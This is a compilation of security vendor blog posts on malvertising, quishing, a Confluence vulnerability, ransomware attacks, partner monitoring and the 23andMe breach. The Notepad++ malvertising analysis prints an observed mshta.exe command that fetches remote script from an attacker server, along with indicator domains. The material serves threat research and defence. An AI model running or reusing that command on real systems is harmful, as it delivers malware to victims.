IT NEWS

In recent weeks, we have noted an increase in malvertising campaigns via Google searches. Several of the threat actors we are tracking have improved their techniques to evade detection throughout the delivery chain.

We believe this evolution will have a real world impact among corporate users getting compromised via malicious ads eventually leading to the deployment of malware and ransomware.

In this blog post, we look at a malvertising campaign that seems to have flown under the radar entirely for at least several months. It is unique in its way to fingerprint users and distribute time sensitive payloads.

Malicious ads for Notepad++

The threat actor is running a campaign targeting Notepad++, a popular text editor for Windows as well as similar software programs such as PDF converters. The image below is a collage of malicious ads we observed recently, all run by the same threat actor but via different ad accounts, likely compromised.

A first level of filtering happens when the user clicks on one of these ads. This is likely an IP check that discards VPNs and other non genuine IP addresses and instead shows a decoy site:

However, intended targets will see a replica of the real Notepad++ website hosted at notepadxtreme[.]com:

Fingerprinting for VM detection

A second level of filtering happens when the user clicks on the download link where JavaScript code performs a system fingerprint. We had previously observed some malvertising campaigns check for the presence of emulators or virtual machines and this is what happens here also, although the code being used is different and more complex.

If any of the checks don’t match, the user is being redirected to the legitimate Notepad++ website. Each potential victim is assigned a unique ID that will allow them to download the payload.

Custom, time-sensitive download

Another thing that sets apart this campaign from others is the way the payload is being downloaded. Each user is given a unique ID with the following format:

CukS1=[10 character string][13 digits]

This is likely for tracking purposes but also to make each download unique and time sensitive.

Unlike other malvertising campaigns the payload is a .hta script. It follows the same naming convention seen above with the download URL:

Notepad_Ver_[10 character string][13 digits].hta

Attempting to download the file again from the same URL results in an error:

.HTA Payload

The .hta file we captured during our investigation was not fully weaponized. However, we were able to find another one that was uploaded to VirusTotal in early July. It uses the same naming convention and we can see the lure was “PDF Converter” instead of Notepad++.

The script is well obfuscated and shows 0 detection on VirusTotal. However, upon dynamic analysis, there is a connection to a remote domain (mybigeye[.]icu) on a custom port:

C:WindowsSysWOW64mshta.exe "C:WindowsSystem32mshta.exe" 
https://mybigeye .icu:52054/LXGZlAJgmvCaQfer/rWABCTDEqFVGdHIQ.html?client_id=jurmvozdcf1687983013426#he7HAp1X4cgqv5SJykr3lRtaxijL0WPB6sdGnZC9IouwDKf8OEMQTFNbmYzU2V+/=

We also notice it uses the same client_id stored in the filename when making that remote connection.

While we don’t know what happens next, we believe this is part of malicious infrastructure used by threat actors to gain access to victims’ machines using tools such as Cobalt Strike.

Innovation makes malvertising a greater threat

We have observed an increase in the volume of malvertising campaigns but also in their sophistication over the past several months. Threat actors are successfully applying evasion techniques that bypass ad verification checks and allow them to target certain types of victims.

With a reliable malware delivery chain in hand, malicious actors can focus on improving their decoy pages and craft custom malware payloads. This is another space where we see some innovation and where security vendors are currently running behind.

Threat intelligence is a critical part of a defensive strategy to better understand the threat landscape in order to protect users. For example, tracking malicious ads allows us to quickly identify the infrastructure used by threat actors and immediately block it. Following the malware delivery chain shows us any new techniques that may bypass current security products and helps us to adjust our detections accordingly.

Indicators of Compromise

Ad domains:

switcodes[.]com
karelisweb[.]com
jquerywins[.]com
mojenyc[.]com

Fake Notepad++ site:

notepadxtreme[.]com

Script C2:

mybigeye[.]icu

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

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Quishing is phishing using QR (Quick Response) codes. QR codes are basically two-dimensional barcodes that hold encoded data, and they can be used to work as a link. Point your phone’s camera at a QR code and it will ask you if you want to visit the link.

The use of QR codes in malicious campaigns is not new, and because they can provide contactless access to a product or service they grew in popularity during the Covid-19 pandemic.

In August, 2023 we wrote about an email campaign that used QR codes to phish for Microsoft credentials. The links in the QR codes redirected from legitimate domains associated with Bing, Salesforce, and Cloudflare to send the targets to phishing sites that were after Microsoft credentials. Since the subject of the emails were often fake Microsoft security notifications, the Bing URLs would not have looked out of place to any victims who gave them a cursory examination.

Lately, there has been an increase in quishing emails, which either send victims to malware-infested sites or ones looking for credentials. 

The usual methods are used to make the emails look convincing: The email will pretend to come from a bank or another organization you trust, or might look like internal mails from the organization you work for, perhaps pretending to come from HR or the IT department. The QR codes in these mails are either embedded or sent as an attachment.

Most of the email contains little to no text, which reduces the chances of the scammer making a mistake and gives spam filters less to read. The message is displayed in an image, which also helps the email get through spam filters.

Example

I personally received a quishing mail pretending to be from the KVK (the Dutch Chamber of Commerce), telling me I had to request a digital key within the next 3 days or my company would be registered as inactive.

As you can see, a lot of the normal signs by which we can recognize a phishing mail are there:

• Urgency
• A link leading to a site to fill out personal information
• Sloppy lay-out of the mail

I was also able to recognize it as false because the sender address didn’t belong to the organization it claimed to be from.

The QR code contained a link to the lihi1.com URL shortener which pointed me to a clone of the KVK site.

It asked for my name, birth date, address, mobile phone number, my KVK registration number and my bank account number. A succesfull phisher can probably sell that data for a few bucks on the dark web.

To stay safe from quishing, you can follow the same advice we provide for phishing, because that’s what it is. It’s just that the method to obfuscate the phishing site is a bit more sophisticated, which also makes the use of it more suspicious.

One extra measure you can take is to install a QR code scanner that doesn’t take you to the destination in the URL, but displays it for you, so you can decide whether you want to proceed.

Stay alert for hallmarks of phishing campaigns, such as a sense of urgency, appeals to your emotions. Be extremely wary if a QR code takes you to a site that asks for personal information, login credentials or payment.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Microsoft Threat Intelligence has revealed that it has been tracking the active exploitation of a vulnerability in Atlassian Confluence software since September 14, 2023. At the time the attacks were first observed the vulnerability was a zero-day, meaning that no update was available, so defenders had “zero days” to patch the flaw.

The vulnerability has since been issued an ID, CVE-2023-22515, and rated with the highest possible severity, a CVSS score of ten. Atlassian’s October 4 advisory warns that “Publicly accessible Confluence Data Center and Server versions … are at critical risk and require immediate attention.”

If you are running Confluence Data Center or Confluence Server inside your organisation and it’s exposed to the public internet you should take steps to prevent exploitation, upgrade your software and look for evidence of compromise (take a look at the Atlassian advisory for detailed information about threat hunting).

Versions of Atlassian Confluence before 8.0.0 are not vulnerable. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue. The fixed versions of Confluence are 8.3.3 or later, 8.4.3 or later, and 8.5.2 or later.

CVE-2023-22515 is a broken access control vulnerability that allows an attacker with network access to the server to create unauthorized Confluence administrator accounts and access Confluence instances. If your Confluence software is on the public internet than the attacker has network access over the internet.

On October 10, 2023, Atlassian updated its advisory to say that it has “evidence to suggest that a known nation-state actor is actively exploiting CVE-2023-22515”.

On the same day, Microsoft Threat Intelligence took to X (formerly Twitter), to say that a nation-state actor, codenamed Storm-0062, which it believes to be a nation-state actor working on behalf of China, had been exploiting CVE-2023-22515 since mid-September.

Microsoft has observed nation-state threat actor Storm-0062 exploiting CVE-2023-22515 in the wild since September 14, 2023. CVE-2023-22515 was disclosed on October 4, 2023. Storm-0062 is tracked by others as DarkShadow or Oro0lxy.

— Microsoft Threat Intelligence (@MsftSecIntel) October 10, 2023

Although the vulnerability started as a zero-day in the hands of nation state hackers, it will likely take on a second life in the hands of less sophisticated criminals.

We are now in the “patch gap,” the period of time between a patch being available and it being applied. This creates a window of opportunity for mass exploitation, which could last months or even years. The arrival of a patch allows organisations to fix their systems, it also informs a wider group of criminals about the existence of the vulnerability. Criminals and researchers can then reverse engineer the patch to identify the problem, and then create their own code to exploit it, or wait for others to do it for them.

Proof-of-concept exploits for CVE-2023-22515 have already appeared on GitHub so there is not time to lose. How long the patch gap lasts is entirely down to how quickly organisations update their Confluence software. History suggests organisations may struggle to find the speed required. For example, one of 2022’s most routinely exploited vulnerabilities was CVE-2021-26084, a remote code execution flaw in Confluence that was discovered in the middle of the previous year.

We don’t just report on vulnerabilities—we identify them, and prioritize action.

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using Malwarebytes Vulnerability and Patch Management.

The Philippine Health Insurance Corporation (PhilHealth), has confirmed that it was unprotected by antivirus software when it was attacked by the Medusa ransomware group in September.

Antivirus software—or more correctly, its modern descendents endpoint security and Endpoint Detection and Response (EDR)—are essential tools in the battle against cybercrime. EDR can detect an intruder’s suspicious activity in advance of them running ransomware, as well as being able to identify the ransomware itself.

Because of this, ransomware groups, who can spend days or even weeks setting up an attack inside a compromised network, will typically try to disable antivirus software.

GMA News reports that PhilHealth confirmed that lack of antivirus on its news programme, 24 Oras:

In Mark Salazar’s report on “24 Oras” on Monday, PhilHealth confirmed that its antivirus software had expired on April 15, but that it had not been able to renew its subscription immediately due to complicated government procurement processes.

PhilHealth is the government owned and controlled corporation that provides universal health coverage in the Philippines. It was attacked on September 22, 2023.

According to a recent post on its Facebook account, all of the corporation’s public-facing applications have been back online since October 6, 2023, including “the website, Member Portal, eClaims for electronic submission of hospital claims, and EPRS for employer remittances.”

The organisation deserves praise for recovering its systems swiftly and for refusing to pay the ransom demand, which is reported to be around $300,000. In response, the Medusa ransomware group has made data stolen in the attack available for download on its dark web leak site, saying the “Company came to the tor chat but didn’t answer for the payment yet.”

Filipino news site Rappler reports that almost 750 gigabytes of information was stolen from PhilHealth, and the number of PhilHealth members affected is in the “millions”.

Their data is now available for download on the dark web. PhilHealth warns that members are likely to be “victimized by opportunists” who can use the information to create targeted and believable social engineering attacks.

In response, PhilHealth “strongly recommends changing passwords of online accounts, enabling multi-factor authentication, monitoring of suspicious activities in their online accounts, not opening and clicking suspicious emails and links, and not answering suspicious calls and text messages”

The attack is a great example of how ransomware attacks aren’t really about computers, they are about the effects they have on people. Despite expending a lot of hot air on the subject, ransomware groups have shown time and again that they are absolutely not above targeting the healthcare sector. As the attack on Ireland’s Health Service Executive in 2021 showed, attacks on healthcare can create uncertainty, delays, enormous stress and legal jeopardy for staff, and the very real risk of pain, physical harm and even death for patients.

In the twelve months between October 2022 and September 2023, there were 213 known attacks against the healthcare sector, making it the ninth most attacked sector globally. More than half of those attacks occurred in the USA, where healthcare was the third most attacked sector, suggesting it may be targeted deliberately in the USA rather than opportunistically.

How to avoid ransomware

• Block common forms of entry. Create a plan for patching vulnerabilities in internet-facing systems quickly; disable or harden remote access like RDP and VPNs; use endpoint security software that can detect exploits and malware used to deliver ransomware.
• Detect intrusions. Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
• Stop malicious encryption. Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
• Create offsite, offline backups. Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
• Don’t get attacked twice. Once you’ve isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

TRY NOW

On September 18, 2023, the Cybersecurity & Infrastructure Security Agency (CISA) announced that its Known Exploited Vulnerabilities (KEV) catalog has reached the milestone of covering more than 1,000 vulnerabilities since its launch in November 2021.

This may seem like a lot, but with over 25,000 new vulnerabilities released in 2022 alone, it helps organizations to focus on the vulnerabilities that matter the most.

Many organizations are running a plethora of software and internet-facing devices, and vulnerabilities that can be used to exploit them are found every day. Everybody knows they need to patch, but deciding what to patch when, and then finding the time and resources to do it, are significant challenges.

CISA says that one of the reasons to launch the KEV catalog was to help organizations prioritize which vulnerabilities to address first.

“As a starting point, we know that the majority of vulnerabilities are never exploited by malicious actors.”

CISA issued Binding Operational Directive 22-01 in November 2021 which established the catalog and bound everyone operating federal information systems to abide by it.

Federal Civilian Executive Branch (FCEB) agencies are handed specific—and very tight—deadlines for when vulnerabilities must be dealt with. Specifically, the Directive requires those agencies to remediate internet-facing listed vulnerabilities within 15 days and all others within 25 days. 

For everyone else it’s an opportunity to filter out the vulnerabilities by something even more relevant than CVSS scores where the exploitability of a vulnerability is only a sub score.

Because it’s based on what criminals are actually exploiting, your organization might still want to feed the catalog into its patch management strategy.

The Common Vulnerabilities and Exposures (CVE) database lists publicly disclosed computer security flaws. To be considered for the catalog, the first criterium a vulnerability has to meet is to have a unique CVE ID so organizations can know precisely which vulnerability it concerns. This is not as straightforward as it may seem. CISA works with vendors, open-source projects, and the CVE program to ensure that every vulnerability that is exploited in the wild is properly identified with a CVE ID.

The second criterium is proof of the active exploitation. This evidence needs to be from a credible source – a known industry partner, a trusted security researcher, or a government partner. Even then, sorting through vast amounts of data to distinguish genuine, malicious exploitation can prove to be a daunting task.

“We can find ourselves chasing whispers of exploitation in the wild that circulate online. Adding to the challenge is that some adversaries are elusive and sophisticated, leaving barely a trace of their digital footprints.”

And last but not least, an effective mitigation needs to be available. After all, it’s no use listing a vulnerability with a due date when there is no cure at hand.

It’s hard to find metrics to show what the effect of the KEV catalog is on malware infections and ransomware attacks, but what is clear is that the mean-time-to-remediate listed vulnerabilities was an average of nine days faster than for non-listed – and 36 days faster for internet-facing vulnerabilities.

CISA says it’s exploring options to add more informative fields, such as noting whether a specific vulnerability is being used by ransomware actors, which may be of particular use to sectors such as healthcare and education. It may help you further prioritize based on your threat model.

We don’t just report on vulnerabilities—we identify them, and prioritize action.

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using Malwarebytes Vulnerability and Patch Management.

North America has a spying problem. Its perpetrators are everyday people.

According to recent research from Malwarebytes, 62 percent of people in the United States and Canada admitted to monitoring their romantic partners online in one form or another, from looking through a spouse’s or significant other’s text messages, to tracking their location, to rifling through their search history, to even installing monitoring software onto their devices.

But while consenting adults can and increasingly do agree to share passwords, locations, and devices with their romantic partners, another statistic deserves scrutiny: 41 percent of the people who admitted to monitoring their partners said they did so without permission.

These numbers are particularly disappointing to report just months after Malwarebytes presented original data at the National Network to End Domestic Violence’s Technology Summit that showed that stalkerware-type activity had dropped significantly from an all-time high three years prior, when shelter-in-place orders were issued to originally limit the spread of COVID-19.

The two issues, while not identical, share an overlap, which is that the non-consensual tracking of another adult is always spying.

It’s spying when governments do it through opaque, mass surveillance regimes, it’s spying when companies do it through shadowy data broker networks that braid together disparate streams of information, and it’s spying when private individuals do it through unseen behavior on personal devices.

Malwarebytes has a firm history in opposing surveillance—in the home, at school, and around the world—and this October, during Domestic Violence Awareness Month, Malwarebytes again commits itself to advocating for user privacy, whether from a person’s government, the corporations they interact with, or from those most capable of abuse.

Monitoring without permission

This month, Malwarebytes released new research into the cybersecurity and online privacy beliefs and behaviors of 1,000 respondents in the United States and Canada. The report, titled “Everyone’s afraid of the internet and no one’s sure what to do about it,” reveals the dismal rates of adoption for antivirus software, two-factor authentication (2FA), password managers, and unique passwords across online accounts.

But the report also explores the methods and stated justifications for individuals who spy on their romantic partners.

Of all people (which is the General Population of respondents involved in Malwarebytes’ 1,000-person survey) who admitted to monitoring their partners online without permission:

• 23 percent looked through messages (texts, emails, DMs) on a spouse’s/significant other’s devices and apps.
• 16 percent tracked a spouse’s/significant other’s location through an app or Bluetooth tracker (like Apple AirTags, Tile, Find My).
• 22 percent looked at a spouse’s/significant other’s search history on their phone or computer.
• 13 percent installed monitoring software/apps on spouse’s/significant other’s devices.
• 17 percent monitored a spouse’s/significant other’s finances.

Respondents who monitored their partners—both with permission and without—were also asked about their own opinions on why they monitor. Half (50 percent) agreed or strongly agreed with the statement that “monitoring my spouse’s/significant other’s online activity and/or location makes me feel they are safer,” while 42 percent agreed or strongly agreed with the statement that “being able to track my spouse’s/significant other’s location when they are away is extremely important to me.”

Online monitoring rates for all survey respondents in the latest research from Malwarebytes

These numbers change slightly for members of Generation Z, but in short, Gen Z engages in more non-consensual online monitoring than non-Gen Z in nearly every single circumstance.

Of the Gen Z respondents who digitally monitor their spouses or significant others, more do so non-consensually than non-Gen Z, overall (47 percent compared to 40 percent). Those same Gen Z respondents non-consensually track locations more (19 percent compared to 15 percent), non-consensually read messages like emails, texts, and DMs more (25 percent compared to 23 percent), and non-consensually install monitoring applications on devices more (16 percent compared to 12 percent).

Gen Z even engages in more non-consensual physical surveillance than non-Gen Z, with increased rates of non-consensually reading through a spouse’s or significant other’s diary or journal (17 percent compared to 11 percent), non-consensually reading a personal letter addressed to or from that person (21 percent compared to 17 percent), and even non-consensually searching through that person’s room, backpack, car, purse, or other personal belonging (24 percent compared to 22 percent).

Offline monitoring rates for all survey respondents in the latest research from Malwarebytes

But where Gen Z presents the most novel change is in how they monitor one another with permission. While Gen Z engages in more non-consensual monitoring, they also engage in more consensual monitoring, which is only possible because Gen Z monitors significantly more than non-Gen Z overall. 

Here, the takeaways are up for interpretation. Perhaps Gen Z is, optimistically, having more open conversations about consensual sharing, both in romantic relationships and friendships. This was anecdotally confirmed last year, when the Lock and Code podcast spoke with a Bay Area teenager about how she and her friends obtain consent before sharing photos on social media.

But one activity that Malwarebytes asked about, even if originally performed with consent, could present a threat to privacy long into the future: Installing monitoring apps on another person’s devices.

Depending of the type of app used, these digital tools can provide access to a person’s location, SMS messages, photos, videos, phone calls, and contacts, while also granting remote access to a device’s camera, microphone, and WiFi functionality. What’s more, some can even do this without any notification or warning to the person being monitored. If such an app is installed on a person’s device with their consent, there is little way of them knowing that it is still on their device, even if they eventually withdraw consent. In other words, the spied-upon have few, basic indicators that they are being spied upon.

According to Malwarebytes’ research, 40 percent of Gen Z have installed monitoring software or apps on a spouse’s or significant other’s devices, compared to 29 percent of non-Gen Z.

These numbers are less open to interpretation. They are deeply concerning.

A drop in stalkerware-type activity

In July, Malwarebytes presented at the National Network to End Domestic Violence’s Technology Summit to offer device security training and updated statistics on a problem that has long plagued survivors of domestic abuse: Stalkerware.

Malwarebytes’ fight against stalkerware is long-documented. For years, the company has detected and helped people remove stalkerware-type applications, while also visiting local domestic abuse shelters and national conferences to share vital information on this pernicious digital threat.

Part of this advocacy has included publishing stalkerware-type detection data with the public, including a dramatic spike in stalkerware-type activity that coincided with shelter-in-place orders mandated near the start of the COVID-19 pandemic, and eventual decreases in that same type of activity one year after.

But that earlier data focused on what are called “detections” on Android devices—moments when Malwarebytes scanned and found apps that could monitor or spy on a user without their knowledge. This year, Malwarebytes has changed its approach to publishing stalkerware-type activity, now incorporating the active user base at any given moment, to show not just raw detection counts, but overall prevalence.

The good news? Stalkerware-type activity is down. A lot.

 Across June, July, and August of 2020, on average, 0.7 percent of all Malwarebytes scans conducted on Android devices resulted in Malwarebytes encountering a stalkerware-type app. Starting in March of 2022, that incident rate dropped to below 0.2 percent. It has remained that low up to June 2023, which is the cutoff date for Malwarebytes’ most recent data.

 For that final month of data, the incident rate was just 0.11 percent—tied for the lowest rate recorded across three years.

Stalkerware-type activity across three years’ of Malwarebytes data

Erring towards caution, with good cause

Stalkerware-type activity is down, but in Malwarebytes’ latest survey, a worrying number of individuals admitted to digitally tracking their spouses and significant others, and while fewer admitted to doing this type of tracking without consent, the type of tracking made available by certain monitoring apps could create privacy invasions in the future.

Malwarebytes will always caution against a world that grows comfortable with surveillance, even if the surveillance is initially conducted “with consent.” Consent shifts with time—it can be removed, narrowed, and tailored to specific situations. But the type of access that some monitoring apps provide, particularly those with stalkerware-type capabilities, are entirely incompatible with consent. They are built to collect as much information as possible and to even hide that data collection from view.

Remember that 50 percent of all respondents who admitted to monitoring their spouses or significant others agreed or strongly agreed with the statement: “Monitoring my spouse’s/significant other’s online activity and/or location makes me feel they are safer.” (Emphasis added).

This Domestic Violence Awareness Month, perhaps we remember that adults can determine their own safety—and privacy.

Read the report

If you are currently facing domestic violence, you can call the National Domestic Violence Hotline at 1-800-799-7233.

If you are currently concerned about stalkerware-type monitoring of your device, or other possible forms of technology-enabled surveillance and abuse, you can visit the National Network to End Domestic Violence’s Safety Net Project here.

This article is based on research by Marcelo Rivero, Malwarebytes’ ransomware specialist, who monitors information published by ransomware gangs on their Dark Web sites. In this report, “known attacks” are those where the victim did not pay a ransom. This provides the best overall picture of ransomware activity, but the true number of attacks is far higher.

In September, we recorded a total of 427 ransomware victims. As usual, Lockbit (72) led the charts. New players we observed included LostTrust (53), ThreeAM (10), and CiphBit (8).

Last month, MGM Resorts and Caesar Entertainment made headlines after being attacked by an ALPHV affiliate known as Scattered Spider. Other significant attacks included Sony, targeted by RansomedVC, and Johnson Controls, targeted by Dark Angels.

The attacks on MGM Resorts and Caesar Entertainment—which collectively own most of the casino-hotel properties on the Vegas Strip—resulted in the former losing $100 million in earnings and the latter making a reported $15 million ransom payment to the attackers. In both cases, significant amounts of customer data were stolen.

In other news, both LockBit and the Akira ransomware gang, the latter of which has tallied 125 victims since we first began tracking them in April 2023, were confirmed last month to be exploiting a specific zero-day flaw (CVE-2023-20269) in Cisco VPN appliances. On a related note, the effect of CL0P’s MOVEit zero-day campaign was further revealed last month when the National Student Clearinghouse and BORN Ontario Child Registry disclosed data breaches attributed to the group.

Last month’s two high-profile casino breaches were an interesting case study in the nuances of the RaaS affiliate landscape, the asymmetric dangers of phishing, and of two starkly different approaches to ransomware negotiation.

Primarily hailing from the US and the UK, and founded in May 2022, Scattered Spider launched two casino attacks that have given the group attention on a scale rarely seen with RaaS affiliates—whose attacks are normally grouped under whichever RaaS gang supplied them with the ransomware (in this case, ALPHV).

One possible explanation for Scattered Spider’s unusual spotlight resides in the group’s level of sophistication. RaaS, by its very nature, has a low barrier to entry, meaning many affiliates are relatively unsophisticated or possess only moderate technical skills. Scattered Spider, on the contrary, highlights the peril posed when ready-made RaaS software merges with seasoned experience: In both of their casino breaches, the group employed advanced tactics, techniques, and procedures (TTPs), including in-depth reconnaissance, social engineering, and advanced lateral movement techniques. 

Scattered Spider typically kick off their attacks by manipulating employees into granting access, and their breaches of MGM Resorts and Caesar Entertainment began no differently. For the MGM breach, Scattered Spider used LinkedIn to pinpoint an MGM Resorts employee, subsequently impersonating them and contacting the company’s help desk requesting account access. Alarmingly, this ploy unveiled a gaping security flaw at MGM—the absence of a stringent user verification protocol at the service desk. After gaining an initial foothold, they escalated their access to administrative rights and subsequently launched a ransomware attack.

Or, as vx-underground so poetically put it: “A company valued at $33,900,000,000 was defeated by a 10-minute conversation.”

Less specifics are known about the exact social engineering scheme used in the Caesar Entertainment breach, but judging by the company’s SEC filing, it’s safe to say Scattered Spider used a similar help desk style scam. Both breaches remind us that, whether ransomware is deployed or not, the human element remains one of the most vulnerable spots in an organization’s defenses.

Additionally, the aftermath of these attacks highlights the absence of a one-size-fits-all solution when it comes to paying attackers ransom. According to the Wall Street Journal, MGM Resorts refused to pay the attackers while Caesars Entertainment, in an effort to prevent their stolen data from being leaked, reportedly paid attackers a ransom worth approximately $15 million. It’s worth reiterating, of course, that despite whatever internal calculus Caesars Entertainment made when deciding to pay the ransom, there is no guarantee that attackers will hold up their end of the bargain. The company’s public willingness to pay also makes them a vulnerable target for further attacks.

On the other hand, there’s no denying that a data leak, especially of sensitive customer or corporate information, can cause a level of reputational harm that some companies might view as impossible to risk taking on—even if it means paying a substantial amount to thieves who may or may not honor their word.

New Players

LostTrust

LostTrust is a likely rebrand from the MetaEncryptor ransomware gang we first spotted in August 2023. In September, they had a staggering 53 victims. The reason for the rebrand is unclear at present.

ThreeAM (3AM)

ThreeAM, a new ransomware family used as a fallback in failed LockBit attack, had 10 victims in September. 

CiphBit

While CiphBit has been posting victims on their dark website since April, the group wasn’t discovered in-the-wild until last month. In September, they reported two new victims, bringing their total to eight victims to-date.

How to avoid ransomware

• Block common forms of entry. Create a plan for patching vulnerabilities in internet-facing systems quickly; disable or harden remote access like RDP and VPNs; use endpoint security software that can detect exploits and malware used to deliver ransomware.
• Detect intrusions. Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
• Stop malicious encryption. Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
• Create offsite, offline backups. Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
• Don’t get attacked twice. Once you’ve isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

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Information belonging to as many as seven million 23andMe customers has been put up for sale on criminal forums following a credential stuffing attack against the genomics company.

On Friday October 6, 2023, 23andMe confirmed via a somewhat opaque blog post that threat actors had “obtained information from certain accounts, including information about users’ DNA Relatives profiles.”

The company says cybercriminals stole profile information that users had shared through its DNA Relatives feature, an optional service that lets customers find and connect with genetic relatives who have also signed up to DNA Relatives. It does not explain what data was stolen, or how much of it, but it does indicate that crooks pulled off the heist “where users recycled login credentials”, and not because of a vulnerability in its systems.

We do not have any indication at this time that there has been a data security incident within our systems, or that 23andMe was the source of the account credentials used in these attacks.

In other words, cybercriminals succeeded in getting access to a number of 23andMe accounts where users had used the same password on both 23andMe and a website that had suffered a data breach. Accessing accounts on a website by using lists of usernames and passwords exposed on another is known as “credential stuffing”, and it’s both common and effective. It works because users often use the same password for multiple websites. However, the damage seems to go far beyond the accounts with reused passwords.

It seems the attackers didn’t simply steal the data belonging to the accounts they broke into—they used those accounts to access a much larger trove of data via DNA Relatives. According to Bleeping Computer, “the number of accounts sold by the cybercriminal does not reflect the number of 23andMe accounts breached.”

The Record reports that the stolen data does not include genomic sequencing data, but does include “profile and account ID numbers, names, gender, birth year, maternal and paternal genetic markers, ancestral heritage results, and data on whether or not each user has opted into 23AndMe’s health data.”

The stolen data is only worth something in so far as it can be used to extract money from somebody, so we expect it will be used in social engineering attacks, like scams and phishing. Users of 23andMe are likely to be the targets, so if that includes you, take extra care when answering messages about or apparently from 23andMe. We suggest you visit the website directly to get information and guidance, don’t follow links or download attachments from emails saying they’re from 23andMe, and follow our simple guide to spotting any scam.

23andMe is urging its users to ensure they have strong passwords, to avoid reusing passwords from other sites, and to enable multi-factor authentication (MFA).

Respectfully, we would like to see 23andMe reach a different conclusion. Telling users to choose strong passwords and not to reuse them is great advice that just isn’t working. It’s good in theory but fails in practice. In a world where users have tens or even hundreds of logins to manage, password reuse and weak passwords that are easy to remember are inevitable.

The company is right to emphasise the enormous usefulness of MFA, but rather than asking users to turn it on, why not just make it mandatory? MFA is, by far, the most useful thing you can do to stop credential stuffing, and if it’s switched on it protects users from their bad password habits like reuse.

In 2019, Microsoft’s Alex Weinert wrote that “Based on our studies, your account is more than 99.9% less likely to be compromised if you use MFA.” You won’t find another technology that gets close.

As 23andMe says in its own blog post, “Since 2019 we’ve offered and encouraged users to use multi-factor authentication.” The company deserves credit for offering MFA, but the scale of this attack against it suggests that not enough users are making the choice. The only way to make MFA the norm is to insist on it instead of ask.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

This week on the Lock and Code podcast…

What are you most worried about online? And what are you doing to stay safe? 

Depending on who you are, those could be very different answers, but for teenagers and members of Generation Z, the internet isn’t so scary because of traditional threats like malware and viruses. Instead, the internet is scary because of what it can expose. To Gen Z, a feared internet is one that is vindictive and cruel—an internet that reveals private information that Gen Z fears could harm their relationships with family and friends, damage their reputations, and even lead to their being bullied and physically harmed. 

Those are some of the findings from Malwarebytes’ latest research into the cybersecurity and online privacy beliefs and behaviors of people across the United States and Canada this year.

Titled “Everyone’s afraid of the internet and no one’s sure what to do about it,” Malwarebytes’ new report shows that 81 percent of Gen Z worries about having personal, private information exposed—like their sexual orientations, personal struggles, medical history, and relationship issues (compared to 75 percent of non-Gen Zers). And 61 percent of Gen Zers worry about having embarrassing or compromising photos or videos shared online (compared to 55% of non Gen Zers). Not only that, 36 percent worry about being bullied because of that info being exposed, while 34 percent worry about being physically harmed. For those outside of Gen Z, those numbers are a lot lower—only 22 percent worry about bullying, and 27 percent worry about being physically harmed.

Does this mean Gen Z is uniquely careful to prevent just that type of information from being exposed online? Not exactly. They talk more frequently to strangers online, they more frequently share personal information on social media, and they share photos and videos on public forums more than anyone—all things that leave a trail of information that could be gathered against them.

Today, on the Lock and Code podcast with host David Ruiz, we drill down into what, specifically, a Bay Area teenager is afraid of when using the internet, and what she does to stay safe. Visiting the Lock and Code podcast for the second year in the row is Nitya Sharma, discussing AI “sneak attacks,” political disinformation campaigns, the unannounced location tracking of Snapchat, and why she simply cannot be bothered about malware. 

“I know that there’s a threat of sharing information with bad people and then abusing it, but I just don’t know what you would do with it. Show up to my house and try to kill me?” 

Tune in today to listen to the full conversation.

To read the full report, click below. 

Read the report

You can also find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

Show notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)

Last week on Malwarebytes Labs: 

• Multi-factor authentication has proven it works, so what are we waiting for?
• Amazon Prime email scammer snatches defeat from the jaws of victory
• 2023 MITRE ATT&CK® Evaluation results: Malwarebytes earns high marks for detection, blocks initial malware executions
• Update now! Apple patches vulnerabilities on iPhone and iPad
• Sony was attacked by two ransomware operators
• Meta and TikTok consider charging users for ad-free experience
• Exim finally fixes 3 out of 6 vulnerabilities
• Update your Android devices now! Google patches two actively exploited vulnerabilities
• Gen Z fears physical violence from being online more than anyone else, Malwarebytes finds
• Meta is using your public Facebook and Instagram posts to train its AI
• Ransomware reinfections on the rise from improper remediation
• Food delivery robots give captured video footage to police
• FBI warns of multiple ransomware attacks on same victim

Stay safe!

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.